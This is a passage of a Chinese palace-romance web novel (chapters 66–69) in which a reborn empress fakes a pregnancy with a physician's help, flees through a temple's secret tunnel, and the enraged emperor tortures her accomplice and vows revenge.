“臣妾想吃一口西瓜。”郁稚懒惰得不肯起身自己取。 皇帝神情依旧不温和,但他抬手用竹签挑了块西瓜放她口中,才又重新拿起奏疏。 郁稚暗自愉悦,其实她不是想吃西瓜,她只是想看看能不能使唤得动皇帝。 夜里皇帝亲自伺候她沐浴。 两人躺在一处,皇帝忽得翻身过来,撩开她的寝衣,唇瓣轻轻落在她平坦腹上。 有些痒,但郁稚没有推开他。 天气炎热,萧歧赤着上身,从郁稚这个角度看男人肌理分明,眉眼锋利,半干的发丝上还沾染水珠,实在养眼。 她反客为主,翻身坐在他怀里,唇瓣印上他的,舌尖轻轻描绘他的唇。 皇帝先是纵容着他,不过是靠在床榻,任由她掌心抚过他宽绰灼热的胸膛。 “皇后,御医说你胎象不稳。” “臣妾又不做过分的事,陛下不要动就是了。” 她这样,他实在煎熬。 少女好整以暇地看向他,“御医说了,臣妾的心情愉悦才能好好安胎。”言下之意,她想为所欲为。 郁稚觉得自己可能是年纪到了,开始沉溺于男色了,而她的夫君正是极品。 她的唇温软,如女恩客逗弄小倌儿,这儿摸摸,那儿亲亲。 皇帝绷着,腰腹间青筋虬结,不知她是否存心逗弄,不管是不是,他都不能动。 “陛下是喜欢与臣妾欢好的吧?”郁后就是这样的性子,得寸进尺,“毕竟你重生回来第一件事不是杀了臣妾而是” 两人对视间,男人双眸猩红。 若换作从前,她敢这样挑衅,皇帝必定已经扼住了她纤柔的脖颈,但现如今,他再愤怒也只能憋着!! 男人如同困兽,被她玩弄拿捏在手心!! “从前,你总不让我吃饱!”他切齿低语。 郁稚:“陛下没回答臣妾的问题。” 男人有自己的傲气,他只解释了为何重生回来第一件事就是拉着她云雨。 郁稚凑上前去,“喜不喜欢?” 萧歧可以肯定,妖后就是要戏弄他,这样的日子还得九个月。 “喜!欢!” 听到男人从牙缝里生生挤出这四个字,郁稚觉得自己简直是在找死,可她就是痛快了。 “御医说陛下的语气要温柔。”她也是这一世才发现,自己如此喜欢逗弄皇帝! 看着皇帝面色阴沉,双眸猩红要杀人却不能杀的神情,她真的好痛快!! 然而她自己玩火把自己点着了,深夜明明很凉快,可她就是翻来覆去睡不着,脑子里全是皇帝那宽绰滚烫的胸膛,特别是他现在就这么躺在自己身边!! 翻过身霸道地压在他身上。 皇帝也不恼,轻轻地握住了她的足踝,“别闹,郁稚。”他被她吵醒,睡眼惺忪,声音温柔得不像话。 郁稚倒吸一口冷气,她觉得今夜更燥热了,愈加转辗反侧。 皇帝最终忍无可忍,翻身坐起来靠近她,动静太大,郁稚都吓住了,“可是御医说、” 男人躬身往下,他的唇轻轻吻住了、 第66章 第 66 章 骑虎难下 男人的唇舌温柔缱眷, 郁稚指尖不自禁探入他浓密发丝,真要命!贝齿紧扣唇瓣,郁稚闭上眼眸 等皇帝从浴殿泡完凉泉回来,榻上的人已经舒适地进入梦乡。 他静静坐下指尖轻拨开她眉宇间的发丝, “郁稚, 你最好是平安将孩子生下来。” 翌日皇帝要回宫一趟, 夜里才折返行宫。 郁稚:“御书房里的话本子统统给臣妾捎来, 把芍药也带来行宫,还有臣妾的枕头, 衣柜里那几件清凉的衣裳也要, 还有、” 她絮絮叨叨说了很多,“陛下是不是记不住?那臣妾也一道回去。” “不用,朕都记下来了,你安心待在行宫等朕回来。”皇帝这两日语气温柔至极,郁稚都感觉不真实。 “那么多你记不下来,陛下再复述一遍。” 皇帝还真耐着性子复述一遍, “好了,外面日头大, 你回寝宫练会字吧, 别受了暑气。” “我不练字, 我想看话本子。”郁稚有些恃宠而骄。 “好, 那就看话本子。”皇帝现在对她完全好脾气。 *** 等皇帝一走,郁稚没有回寝宫,屏退所有宫人,经过长廊去往药房,想要看清一个人的身份,就要在对方毫无防备地时候闯入他的领域。 郁稚在药房后院找到人, “李御医在煎药?” 李烁猝不及防,立即行礼,“臣参见皇后娘娘。” “好久不见,戚离。”郁稚开门见山,眸光凝视着他的神情,任何细微的变化都逃不过她的眼睛,若过他是那休想在她面前伪装! “皇后娘娘”李烁曲膝跪下,伸手紧紧环抱住郁稚的腰身,“臣终于见到皇后了!!这么多年!!” 郁稚惊骇得无以复加,“真的是你!你怎么、” 李烁拉着她去了无人的草药仓库,“臣一定会救皇后出去!皇后放心,暴君休想再欺辱你!!!” 郁稚知道,戚离是天底下对她最忠心之人!! “皇帝没想杀我,反而是你,冒了这么大危险接近我,萧歧也记得前世一切,若是被他知道你身份,他一定会杀了你的!!” 李烁急切道,“皇后休想诓骗臣,臣看得清清楚楚,那日在猎场他拉弓向皇后射箭,他这是想活活折磨皇后致死,所以臣出此下策,让他误以为皇后怀孕了,再寻其他法子助皇后脱离他的掌控。” 什么?!!郁稚快疯了!! “我没有身孕?!” “没有,但皇后放心,其他御医不会诊出来,臣这两日给皇后吃的药可以使得脉象呈现假孕脉!”李烁眸光熠熠,一动不动地凝视着郁稚。 郁稚僵在原地,心乱如麻,她没有身孕,她早该知道,那日不过是积食罢了! 郁稚:“戚离、不李烁,你也太自作主张了,皇帝他并没有想杀我,我也没有离开皇宫的打算!” 李烁:“皇后别自欺欺人,那样一个暴君,他对你早就起了杀心。他如今已经放松警惕,到时候皇后随便找个由头出宫,臣已经有所准备,会助皇后逃脱,哪怕用臣的性命换皇后的性命!” 郁稚确实有离开的打算,可是这太冒险了,而且萧歧他似乎很期待这个孩子 骑虎难下,如今不走都不行了,否则八个月后她去哪里弄一个孩子给他! 郁稚:“万事小心为上,千万不要铤而走险!” 行宫的守卫相较于皇宫没有那么森严,所以她必须住行宫。还有她要寻个什么由头出宫?一个月之后她必须走,否则她不显怀,皇帝会起疑心的!! 天哪,戚离真的是太自作主张了!可是没有他推波助澜,她还真不敢走。 皇帝午间就回来了,郁稚正躺在椅榻上辗转反侧。 “听宫人说皇后没有用膳?”萧歧一回行宫就往她这儿赶。 “陛下”郁稚心虚极了,她比记起前世那一日更心虚,眼神躲闪不敢看他。 “没有胃口么?朕将御茶膳房的厨子带来了,你不是喜欢吃他们做的点心么?” 芍药也来了,御书房的话本子一本不落全都带来了,这得装几辆马车啊?还有她睡惯的枕头,事无巨细,她交代的事情,皇帝真一样不落。 萧歧:“先看会儿话本子,御厨回禀说半个时辰之后才能做好点心。” 郁稚:“” 她的心好慌,这好比点心,明明点心里没有豆沙,她欺骗皇帝说有,他吃了发现没有,必定是要杀头的! “臣妾不看话本子,想去书房练会儿字。”她道。 萧歧忽得不言语了,停下来静静打量她,“你怎么了?” 他果然是个细致入微之人!!郁稚实在是坐立难安,强迫自己镇定,“臣妾是怕孩子像臣妾一样不学无术。都说言传身教,若我好好练字,说不定他以后读书也能学得很快。” 皇帝微微笑道,“朕正好有一堆奏疏要看,一起去书房吧。” 两个行在长廊上,皇帝竟还搀扶着她郁稚愈加愧疚。 坐到御案旁,提起笔练字,郁稚方静下心来。 皇帝:“朕回宫后命人重新布置了未央宫偏殿,家具陈设都是朕亲自从内务府库房里亲自挑选,你回去看了若有不满意就再选。对了,朕命人重修未央宫附近的星辰殿,等孩子长到四五岁、” 郁稚眨眨眼瞧着皇帝,他何止是上心啊,郁稚从未见过如此疼爱孩子的父亲,说起来他上一世死时三十有六了,膝下无子,难怪这么疯狂。 萧歧:“怎么了皇后?” 郁稚:“没什么,臣妾只是羡慕腹中的孩子,能有一个这么好的父亲。”他这态度与前几日真是天差地别。 萧歧抿了抿唇,“当初教你写字时,真也是很耐心的。” 确实,她心中有愧,可是她此时哪敢坦白啊,简直是从一个深坑爬出来掉出万劫不复的深渊。 皇帝看她神情落寞,“孩子也有一个很好的母亲,你不看话本子,反而来御书房练字了。” 未过多时点心送来了,皇帝亲自伺候她用,郁稚接过筷子,“臣妾哪里有这么娇气,不用陛下伺候。” 暖烘烘、松软甘甜的奶酥入口,真的是美味,皇帝这两日待她太好了,其实上一世两人反目成仇之前,他对她也很好。 要不趁着时日尚早她再试试看能不能真怀上?否则她不敢想象,若自己真远走高飞,皇帝知道真相之后会如何疯魔了。 夜里郁稚特意着了件轻薄的寝衣,皇帝靠坐床榻看书,完全是一副正人君子、清心寡欲的模样。 “皇后早些休息,就不会胡思乱想了。” 她一言不发就这么望着他,皇帝就知道她什么心思了?!! 既然如此,郁稚抬手抽走萧歧手里的书,“今日李御医诊脉,说臣妾已经无碍。”她捧起皇帝的脸,重重亲了口。 “等明年,你身子恢复了。”他轻拍她的腰肢安抚。 恐怕不行等不了了 郁稚霸王硬上弓去解皇帝寝衣。 “皇后怎么像土匪?”萧歧拒绝她又没真正按住她的手,只是一味地躲开。 “臣妾本来就是土匪!”她从中获得乐趣,“哎呀,从前我怎么没尝出好滋味呢,我还拒你于未央宫门外,如今我才发现你的好!” “你再这样,朕去偏殿住。” 郁稚:“我不让你去!” “郁稚”男人气结,郁稚发现她爱极了皇帝这模样,愈加想欺负他,重重地亲他几口! “你轻一些,别伤到孩子。”男人无力地靠坐床栏,已经放弃抵抗。 少女眸光痴迷,该死,这样的萧歧真的好迷人啊,若是以后都吃不到,她会很遗憾很可惜的! 掌心抚过轮廓分明的胸膛,“陛下放心,臣妾会很轻的!” 萧歧重生以来十分专横,此时却格外隐忍,强壮体魄纹丝不动,郁稚几乎在他身上为所欲为。 闹腾到深夜,郁稚实际没占多大便宜,两人最后去浴殿沐浴,郁稚又如恶霸将皇帝堵在汉白玉池子角落里。 “听医女说,臣妾这样时正常的,陛下温柔些就成。” “陛下满足臣妾,臣妾心情才会好。” “御医今日说臣妾吃的药有效果了。”她小嘴说个不停,非要皇帝相信她身子好着呢 她不依不饶,皇帝无奈应允。池子里,男人温柔似水,唇同时贴在她耳廓说着情话,简直叫人飘飘欲仙。 皇帝叫她浅尝辄止。郁稚被抱回龙榻,微弱烛火映照之下,席榻间并不明亮,萧歧却一眼瞧见了象牙席上一抹血红。 “郁稚,你受伤了?!” 郁稚顺着男人惊恐的视线望过去,难怪方才她小腹坠坠,原来是这月癸水已至。 等等,郁稚视线转向皇帝,男人面色苍白惊愕,不不不他误会了!!不是见红,不是的!! 萧歧骤然转身离开内室,“朕去传御医!” 郁稚头一次见萧歧如此慌乱,她叫他不住!! 天哪!!这真的是屋漏偏逢连夜雨!! 第67章 第 67 章 祈福 萧歧亲自将李烁从药房揪来。 郁稚已经将榻上的血迹擦得干干净净, “臣妾无碍,陛下不必担忧,臣妾好得很。” 皇帝岂肯善罢甘休,押着她给御医诊脉, “皇后见血了。” 李烁神情骇然看向皇后, 郁稚给他使眼神, 不如一起蒙骗皇帝说她小产了?! 岂料李烁仔细诊脉后道, “皇后暂时没有落胎的风险,只是陛下需更温柔待皇后, 切不可莽撞行事, 否则再好的安胎药也保不住皇子!!” 萧歧面色苍白,李烁语气颇严厉,他却没有反驳,这叫郁稚看得心都揪紧了。 等李烁离开,郁稚主动认错,“都是臣妾的错、” 萧歧:“是朕的错, 朕不该纵容你做那样的事。” 专横凶悍男人变成这模样,郁稚感觉这都要怪到自己头上。看情形萧歧往后数月都不会碰她, 所以这事真没有挽回余地了。 “皇后休息吧, 朕替你扇风。” 郁稚躺回榻上, 男人靠坐床栏替她扇风, 她抚了抚小腹,苍天呐,九个月后她从哪里弄一个孩子来给他啊! “小腹有不适么?”他微微躬身,温柔问她。 “没有”她可愁死了,郁稚,你真不是个人。 *** 翌日郁稚乖乖去御书房练字, 有侍卫送信进来,“陛下,暗卫已经查到戚离的老宅。” 皇帝居然还在派人查戚离!!郁稚抬眸看了一眼皇帝,萧歧气定神闲地接过信件,“朕知道了,你下去吧。” 幸而戚离已经改名换姓,不、按照萧歧的性格必定会追查到底,最后还是会查出李烁就是戚离! 假孕的谎言也会被戳穿,郁稚不敢想象,萧歧会是怎样的盛怒,自己又会是怎样的下场!!她必须远走高飞!! “身子可有不适?”萧歧将信放到不起眼的位置。 郁稚摇头,“臣妾好着呢,陛下不要问了。”昨夜所谓的见红吓到了萧歧,他每隔一个时辰都要问她一遍。 行宫太悠闲了,皇帝每日不上朝,除了批阅奏疏就是陪着她练字看书,还是回宫让皇帝忙碌起来,自己再想法子脱身。 郁稚:“臣妾想着,明日回宫吧?陛下在行宫太久,会引得朝臣议论。况且若等身子沉了,臣妾回宫也不方便。” 萧歧:“好,都依皇后的。” 萧歧这几天似没脾气的人,郁稚都觉得陌生。除了情事以外,无论她提什么要求,他都会答应。 郁稚看了眼那封信,“那我若求陛下放过戚离他们,陛下可会依臣妾?” 萧歧沉默不语。 郁稚:“你不是说信我今世不会再夺权了么?那揪住前世那些受我蛊惑的年轻臣子不放,又有什么意思呢?横竖他们这一世都不会再走老路了。” 萧歧深深看她一眼,并不肯答应。 罢了,终于走到这一步,“我们两人来对一对账吧,萧歧?” 萧歧神情认真起来,“皇后预备怎么对账?” 郁稚:“唔,就从李檀开始吧,她在你面前是如何编排我的?” 皇帝也不隐瞒,“她说你在朕死后,广招男宠,夜夜笙歌,说你以美色、诱、惑李勋,使他背叛朕,说他后来夜夜出入未央宫!!” “胡说八道!!”郁稚简直要气死。 萧歧:“皇后,这账还是以后再对吧,朕怕你动了胎气。” 郁稚抹了抹额头的汗,“若是因为这点事就动胎气,那这个孩子也太娇弱了,不配做你我的孩子。今日我偏要跟你对账!!” 郁稚:“第一,我承认是策反李勋,但我可没用美、色、诱、惑他!另外我只要他给我通风报信,至于出卖军情,可不是受我指使!” 郁稚:“还有你死之后,我才没有广招男宠,夜夜笙歌!怎么胡乱造谣呢!!” 萧歧面无表情,“你和那些年轻臣子怎么说?” 郁稚:“别人说什么你都信?你出征在外我每夜都是孤枕入眠,别信什么夜夜笙歌缠绵凤榻,我前世虽然恨你,但我在妇德方面绝对没有问题。反倒是你,边疆的奇闻都传到宫里头来了,说什么君王营帐夜夜歌舞,舞姬妖娆,什么部落公主非陛下不嫁。” 萧歧:“没有,我每日都在营帐中排兵布阵,每夜也都是孤枕入眠。” “好,那这种事就算对完账了,谁也没亏着谁。”郁稚双手叉腰爽朗道。 萧歧:“不算对完,朕一字一句都是实话,而你就未必了。” 郁稚:“!!!你不信我,我也不信你。” 萧歧:“若在边疆吃饱了,我回宫怎么可能夜夜来未央宫?” 该死,萧歧这个人前世就是那等说一不二的性子,所以她知道他从不说谎,他身为君王也没必要在此事上说谎。 反倒是她,确实招牌砸光了,哪怕说真话也没人信。 郁稚气不过:“前世你若肯雨露均沾,就不会至死都无人送终。你每次凯旋回来,夜夜来我未央宫我也很累,所以怪不得我将你拒之门外。” 萧歧嗤笑,“你怪我没有雨露均沾?从前你那样不可一世,我真沾了,真与旁人有了皇子,你又该不乐意了。” “我、”郁稚捂住小腹,“陛下别说了,再说臣妾动胎气了。” 萧歧始终气定神闲,“所以朕觉得这个账还是以后再对吧。” “好好好,以后再对,以后再对”郁稚也不肯提从前的事了,毕竟自己理亏,所以他三言两语就能将她噎死。 “真不舒服?”萧歧掌心抚上她的小腹。 郁稚:“御医说让陛下温柔,你每一句话都气人!” 萧歧:“是你要对账。” 郁稚:“你还说?!” 两人最后各自住嘴。 翌日回到皇宫,未央宫偏殿已经布置得妥妥当当,金丝楠木所制的婴儿摇篮,各类样式的木雕小玩意,连窗纱都换了新的,皇帝还命绣房制了许多软绵小衣裳偏殿每一样家具摆设都是皇帝亲自挑选,附近的星辰殿也开始重修,可见他多么期待这个孩子到来。 皇帝弄出这么大动静,各宫也都猜出来了,皇后娘娘怀了身孕!! 李檀知道皇后回宫,立即来到未央宫拜见,目光落在郁稚平坦小腹,“敢问皇后哪个御医诊的?可会有错?” 明明上一世的这时候,皇后没有怀孕!! 郁稚笑道:“李御医。” 李檀立即发现破绽,“李御医丁忧,他没随行去行宫。” 郁稚只能强撑着,“是李御医的侄子,医术同样了得。” 李檀压低声音,“臣妾不信皇后怀孕,你可是为了逃脱罪行,故意用这招欺哄陛下?!” “放肆!!”没等郁稚自己开口反驳,提前回未央宫的皇帝将贵妃的话听得一清二楚,“贵妃,你有何资格质问皇后?” 李檀遭这样的呵斥,当场就跪到地上,“臣妾不敢、臣妾只是、” 他们三人都知道上一世的郁稚并没有在这一年怀孕。 萧歧:“贵妃现在就离开未央宫!往后最好深居简出,莫要来未央宫惊扰皇后养胎!” 李檀甚是不服气,“皇后最会花言巧语,陛下就要重蹈覆辙么?臣妾不信,非要再传几位御医再诊断,上一世的今年,皇后明明没有怀孕!” 萧歧:“贵妃,住口。” 最后李檀是被皇帝的贴身侍卫搀扶离开的。郁稚自始至终都抚着小腹,她终究是心虚的,歪在椅榻上,“上一世这一年,臣妾没有怀孕,来年宫里也没有皇子降生。” 萧歧神情凛然,“皇后,一切都与从前不同了。” 郁稚:“我作孽那么多,怎么会有子嗣,我哪配当一个母亲” 萧歧:“郁稚,朕不允许你胡思乱想。” 郁稚眸中含泪,双手按住皇帝小臂央求,“陛下,下个月初一臣妾想去皇家寺庙忏悔,替孩子祈福” “好,朕陪你一起去,为我们的孩子祈福。”萧歧看向她的眼神满是心疼。 郁稚:“初一有大朝会,陛下不可为了臣妾荒废朝政,臣妾想独自前往” 李檀已经起了疑心,一定会盯着她的,若再过一段日她小腹仍旧平坦,那可是真要瞒不住了!!郁稚如今只想从皇宫逃离!!她再也不要过这种如履薄冰的日子了!! 她劝说许久,萧歧最后终于答应允留在宫里,下个月初一由她这位皇后带着人去皇家寺庙祭祀祈福。 这几日暗卫的信源源不断地送来,关于戚离的线索越来越多,皇帝独自在御书房拆开这些信。 这一世戚离改名易姓,并且早早来了皇城,看来他重生比他们都早几年,说不定他已经混入了朝堂!! 萧歧不可能放过戚离,他必定会将这个蛊惑皇后之人杀了!神不知鬼不觉地杀了,不会让皇后知晓。 所以眼下重要的是,确定这个人的身份。 说不定他已经见过郁稚,说不定他们主仆二人已经相认过了,会是谁呢?萧歧上朝时,目光巡视着大殿中每一个年轻臣子的面庞。 第68章 第 68 章 欺君! 李烁每日清晨都来未央宫请脉, 皇帝皆会陪伴左右,今日有朝会,皇帝已经去了大殿。李烁来未央宫来得晚,郁稚终于有机会与他单独见面说话。 李烁:“臣听内务府的人说皇后下月初一去奉天寺祈福?娘娘可是打算那时离开?” 郁稚:“是, 你也要未雨绸缪, 皇帝一直派人追查你的行踪, 你当御医并非长久之计, 还得尽早离开皇城为妙!” “臣不怕,臣若想苟活那必定不会想方设法进入皇宫, 只要皇后能平安顺遂, 臣死不足惜!!”李烁目光殷切地望着她。 郁稚明白戚离的赤胆忠心,哪怕她现在丢给他一把匕首叫他自尽,他也会照做。戚离的身世凄苦,上一世自己救他于水火,所以他也奉她若神明,那个时候她仇恨皇帝, 所以他比她的恨意更深。 她与他说了自己的计划,吩咐他去办一些事。 李烁:“娘娘放心, 臣会在奉天寺安排好一切, 只要娘娘那日出现在寺庙, 臣就可以帮助皇后脱身!” *** 几日之后秋意渐起, 绣房送来几件秋裳,样式颜色皆是郁稚前世的喜好,夜间微凉已经可以穿了。 绣房嬷嬷告诉郁稚,“皇后娘娘,这些衣裳都是陛下吩咐制的,后头还有七八件没有制好, 特意加宽了腰身,若有不合身的,娘娘吩咐人送回绣房,半日就能改好。” 衣裳一件比一件绮丽精巧,郁稚轻抚过蜀缎缎面,原来萧歧那日回宫不止命人布置偏殿,还为她做了这些。 待绣房的人走后,郁稚偷偷将其中两件打包进行李,明日就是去奉天寺的日子,这几件秋衣正好给她作出宫后御寒之用。 她幼年时过怕苦日子,那等潮湿阴寒的感觉她这一生都不愿意经历,两世都耗在这座皇宫里头,出宫以后也不知是什么光景,只能尽可能多捎带些金银首饰、御寒衣物。 下午郁稚去御书房练字,特意穿了绣房制的新秋衣,烟紫色绣百蝶蜀锦裙裳,腰身微宽,这衣裳显得她华美富丽。 皇帝看了,“知道皇后最在意身段,这衣裳样式最能遮掩腰腹,只是如今还未显怀,你可尽情穿衣柜里那些衣裳。” 郁稚:“谁说我不显怀了?陛下不信就摸摸。” 皇帝真小心意地伸手,隔着衣物轻覆在她小腹,也没反驳她的话,因为两世以来头一次当父亲,不知这算不算显怀。不对,不是第一次了。 郁稚:“发现没有,小腹不似以前平坦了。” 萧歧:“” 他这欲言又止、甚至有些困惑的神情,郁稚觉得很有意思。哎,他特意命绣房制的衣裳,若今日不穿,以后他没机会瞧见了。 此时外头有侍卫禀告,萧歧收回手传人进殿。 又是一封快马加鞭送来的信。郁稚心都揪紧了,不知道皇帝查到哪一步了,千万别发现李烁就是戚离,千万不要,只差一天了,一步之遥她就可以金蝉脱壳了!! 信中说马上就可以查到戚离如今的真实身份,信是十日之前寄出的,也就是说揭露戚离身份的信已经在路上了! 萧歧亲自去过翰林院,目光扫过那些年轻臣子们,戚离十有八九隐藏在其中! “陛下可有想过孩子的名字?”郁稚主动试探,并且引开他的注意力。 萧歧这才收起信放入抽屉,“朕想了几个好名字。” 说着他提笔要写下来给她看,可又忽然想起什么,“你过来,朕教你写。” 郁稚如从前那般坐到他怀里,握着笔,他的手掌包裹住她的,“朕想了这几个字。” 他一笔一划带着她写下一个字:臻 郁稚:“臣妾都不认得这个字。” 萧歧:“前世苦难尽忘,今生百福并臻。臻字有福至之意,朕一直都很喜欢这个字。” 如此美好的寓意郁稚扭头望向皇帝,“那臣妾也很喜欢这个字!” 皇帝又教她写了几个字,一下午的时光两人尽在想孩子的名字,可是到最后都觉得其他名字不如臻这个字好。 萧臻,不论是皇子还是公主,皆可以用 夜里沐浴更衣以后,郁稚抱着皇帝,一双手臂紧紧缠住他的腰身,从行宫回来这几日,郁稚觉得皇帝似回到上一世起初的模样,他本性不喜坐朝堂,他喜欢驰骋边疆,人有些沉默,但除了床榻以外的地方,他并不凶悍,对她很纵容 “皇后不可以、” 郁稚非要吻他,皇帝左右躲闪。自从那件荒唐事后,郁稚觉得自己哪怕把刀架他脖子上,他也不肯与她亲热。 可明日她就要远走高飞了,她对男人这具身躯应该会很怀念。 “亲几口又怎么了?我又不对你做其他事情,是陛下自己胡思乱想!”她捧着他的脸不让他闪躲,将人撩拨得几乎崩裂,又说这样的话。 掌心顺着男人颈侧往下滑,感受着他滚烫肌肤之下那加速的心跳,宽绰胸膛、紧实肌理可惜啊以后都吃不到了。 “郁稚!” 这就是她所谓的只是亲一亲!! 微凉秋夜,她非得撩拨得他去浴殿浸了两趟凉泉才罢休!! 始作俑者却还悻悻然道,“陛下身子真好!” 皇帝抿着唇不言语,眉宇间有些怒意又很无奈。 翌日清晨两人早起,皇帝有大朝会,郁稚则要去奉天寺祈福。 萧歧替她穿衣,“不如等下午,朕陪你一道去奉天寺?” 郁稚嘀咕:“哪有下午拜神的,都不灵了。陛下是不是担心臣妾跑了?” 郁稚:“你放心吧,臣妾两世都过惯了富贵日子,你就算赶我走我也不走。” 皇帝便没有再言语,他确实很忙,朝堂政务、边疆军情,还有今日会收到暗卫的信,他马上就会得知这一世戚离乔装的身份,铲除这个心头大患。 郁稚正好不在宫里,他可以放手去做这一切。 早膳过后,皇帝亲自替她披上披风,“寺里的素菜你吃不惯,朕命御厨备着午膳,等皇后回来。” 郁稚眼神凝在他身上,她没有一丝后悔,这条路只能走到黑了,临到走时,她忽然发现自己是如此不舍萧歧,这样的悲痛与上一世知道他战死沙场一模一样。 “你怎么了?” 少女眸光湿润,她抬手擦了擦,“没什么,就是有身孕的人多愁善感罢了。” 皇帝派了宫中最精锐的禁军护着她去奉天寺,前头铁甲骑卫开道,再是宫人婢女,浩浩荡荡一行人绵延三里。其中还跟着李烁,还是皇帝特意吩咐他随凤驾去奉天寺,以防着郁稚路上有任何的不适。 郁稚坐在龙辇之中,感受不到一丝颠簸。 戚离办事很妥帖漂亮,郁稚知道他一定能助她从奉天寺脱身,但是她没告诉他自己要去何处。 其实她已经安排好船去江南,天高水长,皇帝找不到她的! 对了,还有芍药,郁稚并不打算带走芍药,她给了芍药一些银子,足够她后半生富足。皇帝不会过多为难一个宫女。 进入奉天寺后,主持恭恭敬敬带着她参拜,郁稚倒是不急,她上一世不信神佛,但如今她信的,因果轮回,转世再生,她经历过了。 她在佛前供奉百盏莲灯,诚心祈求佛祖能保佑萧歧这一世长命百岁,她对他有愧,愿意折二十年的寿,加在他身上。 禁军将奉天寺层层包围,飞鸟都越不过屋顶去。 郁稚听主持说了佛法,午间就借口疲惫去后院休息了。外头人进不来寺庙,但若庙里的皇后自己想出去,那法子很多。 奉天寺是皇家寺庙,宝藏无数,设有地下密室藏着舍利,而郁稚所在的这间房设有通道前往密室,密室还有通往外头的密道,以防寺庙受人入侵或者火灾,方便将宝藏转运,平时这密道是封着的。 这些都是皇家秘辛,唯有君王才会知道,郁稚上一世是真正掌权的,故而她全部知晓,她命戚离偷偷打通了密道。 郁稚屏退宫人之后,拿起包裹,打开了房中密室的门往下走。 戚离告诉她,通道的那头有马车等着她! *** 御书房中,皇帝今日匆匆结束了大朝会,而暗卫的信已经如他预料的那般放置在御案上,里头写着戚离如今的身份!! 侍卫已经待命,只萧歧一声令下,今日就是那戚离的死期!! 究竟是哪个臣子?礼部?吏部?户部?翰林院? 萧歧拆开信,打开信纸,信上短短几行字非常清晰。 太医院,李烁。 “!!!” 信纸瞬间灰飞烟灭,太医院李烁就是戚离!!他今日跟着皇后去奉天寺了!! 等等,男人诧异的同时一阵怒意呼啸而来,直冲脑门。 “郁稚!! 她看到李烁第一眼就知道了,他就是戚离!!两人联起手来骗他!! 在外候命的侍卫见皇帝盛怒,“去奉天寺!杀了那个叫李烁的御医!!” --上一世的这一年,皇后明明没有怀孕! --臣妾想去奉天寺忏悔,为我们的孩子祈福。 --皇后胎象不稳,臣主动请缨,随凤驾去奉天寺。 --初一你有朝会,臣妾不想陛下因为我耽误朝政。 --臻这个字特别好,臣妾也很喜欢。 --臣妾亲一亲怎么了?又不别的事。 --哪有下午拜神的,都不灵了 男人翻身上马,扬起马鞭,宫门守卫见到君王一行人风风火火从宫门策马而去。 有什么真相昭然若揭,但男人暂时不下定论。 郁稚,你最好是怀了身孕,否则他这次真的会、真的会、杀了她!! 第69章 第 69 章 江南 郁稚经过长长的密道, 顺着阶梯往上爬,奉天寺密室的出口是一片树林,不远处果然有一辆马车在等着她!! “皇后娘娘!” 郁稚走近发现坐在马车头的人竟然是戚离!他褪去一身官服,穿着粗衣麻布, 看这架势 郁稚:“戚离你打算与我一道走?” 戚离殷勤地接过她的包裹, “皇后娘娘要臣早为自己做打算, 臣想着与皇后一道走, 路上好护着皇后安全!!” 不、不行,她可以离开皇城, 他也可以离开皇城, 唯独不能两人一道走!若是萧歧发现真相,会以为他们二人私奔!! 但事到如今,回不了头了!!她钻入马车,“走,我们快去码头!” 晌午时分,御驾亲临奉天寺, 寺庙主持匆匆出来迎接,但见跟在皇帝身后的侍卫跳下马冲入奉天寺, 到处搜查御医李烁。 萧歧:“皇后人在何处?” 主持恭敬回禀:“皇后与贫僧讨论了佛法, 此刻凤驾已经在禅院歇下。” 萧歧直冲后院那间最华丽的禅院, 专供皇室宗亲前来礼佛时休息为用。 岂料院门从内锁着, “皇后?”男人压下蓬勃怒意,轻敲了院门,“郁稚?” 无人应答,又等了片刻,皇帝忍无可忍撬开院门,人去楼空, 哪里还有那个女人的身影!疑虑在心中如涟漪无限扩大。 侍卫前来回来,“陛下,没有寻到御医李烁的踪迹,寺庙守卫说曾看到他离开寺庙,奴才已经派人去寻了。” 无人知道皇帝为何忽然要缉拿李烁,但他亲自前来,必定是出了大事。 禅院里有密道!萧歧想起来了,他不信神佛,常年在外征战,但先皇曾告诉他禅院密道通往奉天寺的地宫,地宫藏着佛家珍宝,上一世他也曾将此事告诉皇后。 他掀开椅榻木板,密道果然有被打开的痕迹,一路往下隐约能闻见妖后身上那幽幽的茉莉花香!! 萧歧离开密道,“召回所有人,骑上马跟朕来!!” 皇宫里大部分禁军已经被派出去寻人,对外只说皇后抱恙在奉天寺修养祈福。 第六天,皇帝回宫,一同带回来的还是在去往洛阳的商船上抓到的戚离。 萧歧命人查过,那一日码头的大部分船只是要去洛阳的,只有一艘是去江南的,每一艘船他都不会放过。 这一切都是秘密进行,朝臣们不会知晓,更不会有人察觉太医院少了个小御医。 宫里头只会当皇后在皇家寺庙修养,而李御医随侍。 密室血腥味浓郁,戚离被铁链捆在架子上,十二道酷刑用了个遍。 侍卫:“陛下,他还是不开口说皇后的行踪。” 皇帝打量着奄奄一息的男人,“上一世就是你。”萧歧想起来了,就是这个人在他被皇后拒之门外时,从他身边经过,那样一个小小的文官,眼底流露对君王的蔑视。 他征战沙场、劳苦功高,而这等阴沟里算计的小人在皇后身边谄媚讨好,左右朝纲!! 萧歧伸手掐住戚离的脖颈,迫使他正视自己,“朕只问你一句话,皇后她可有孕?” 尽管萧歧已经命人查出,戚离开的药方有假孕的功效。 少年浑身是血,看向男人的眼神却依旧轻蔑,他笑了,“你这样的暴君,哪配她为你生儿育女!!” 得到了意料中的答案,心中那最后一丝宽容也烟消云散! 很,很好,两个人联起手来欺君!! 行宫那日,戚离出现的那日,她就已经撒下弥天大谎!! 两世都是如此,她还真是不知悔改!! 妖后向来如此!萧歧转身离开密室,他沾染了一身血腥味怎么都散不掉! 未央宫偏殿里,他亲自挑选的那一件件精致小巧的家具摆设简直是笑话!他满腔的父爱,此刻已经消失殆尽,他只想找到那个女人,而后将她活生生塞入棺椁当中,丢入皇陵封死! 只有她死了,他才会息怒! *** 夜间,前往江南的商船也未停靠,顺风顺水行速极快。 下午他们抵达码头后,郁稚告诉戚离她打算去江南。于是戚离将包裹给她,让她上船,他去将马车停靠到隐蔽的地方,若是没有等到他,也别下船,万事小心! 直至船缓缓离岸,戚离果然没有回来。 皇城郊外的这处码头船只来往频繁,或许戚离上错船,或许他临时改变主意不随她离开,戚离心思缜密,郁稚猜不透他,最后只能自己回了船舱。 整夜难眠,郁稚不敢想象萧歧要是知道真相,该是何等盛怒! 商船走走停停,郁稚中途换了几艘船好混淆视听。 